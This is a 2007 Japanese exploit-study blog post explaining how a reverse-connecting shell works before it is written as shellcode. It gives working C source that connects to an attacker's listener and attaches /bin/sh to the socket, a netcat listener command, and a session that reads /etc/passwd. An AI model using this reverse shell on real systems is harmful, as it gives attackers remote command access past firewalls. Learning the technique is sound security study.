NENote of Exploiting


2007-08-03 : Reverse-connecting Shellcode

 前回のport binding shellcodeでの弱点、ファイアウォール越しの接続が不可能であるという問題を解決すべく、ターゲット側ホストからアタッカー側に接続を行うreverce-connecting shellcodeを作成した。

[SC] reverse-connect_shell.c

 アセンブリによる記述の前に、C言語で同等の動作を行うコードを記述する。


#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

char *name[2];
int soc,rec;
struct sockaddr_in serv_addr;

int main(int argc, char *argv[]){

    serv_addr.sin_family = 2;
    serv_addr.sin_addr.s_addr = 0x0100007F;
    serv_addr.sin_port = 0xAAAA;

    soc = socket(2, 1, 6);
    rec = connect(soc, (struct sockaddr*)&serv_addr, 0x10);

    dup2(soc,0);
    dup2(soc,1);
    dup2(soc,2);

    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);

    return 0;
}

 特に注意すべきはアドレスの部分である。ポート番号と同じ要領であるが、8ビットづつ区切って前後を入れ替える必要がある。例えば、127.0.0.1 であれば1.0.0.127ということになり、これをそれぞれ16進数に直して0x0100007Fという風になる。

Exemplification

 まず、アタッカー側では「nc -l -p 43690」を実行してポート番号43690番でコネクションを待機する。

glazheim:/home/defolos/Desktop$ nc -l -p 43690

 その後に、下記のようにターゲット側でreverse-connect remote shellをコンパイルして実行すると、アタッカー側に接続要求が発行される。

glazheim:/home/defolos/Desktop$ ./remortshell
glazheim:/home/defolos/Desktop$ gcc -Wall reverse-connect_shell.c
reverse-connect_shell.c: In function main
reverse-connect_shell.c:21: main missing sentinel in function call
glazheim:/home/defolos/Desktop$ ./a.out

 アタッカー側ホストへ接続要求を出し、受理された場合ターゲット側のstdin,out,errがソケットディスクリプタに対応付けされた後、シェルが呼び出される。ゆえに、アタッカー側にシェルを公開したことになる。例としてアタッカー側から/etc/passwdを閲覧してみる。

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
cupsys:x:106:113::/home/cupsys:/bin/false
haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false
hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false
gdm:x:109:118:Gnome Display Manager:/var/lib/gdm:/bin/false
ubuntu:x:999:999:Live session user,,,:/home/ubuntu:/bin/bash

 前回同様、プロンプトは表示されないものの、上記の例のように/etc/passwdを表示することに成功している。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.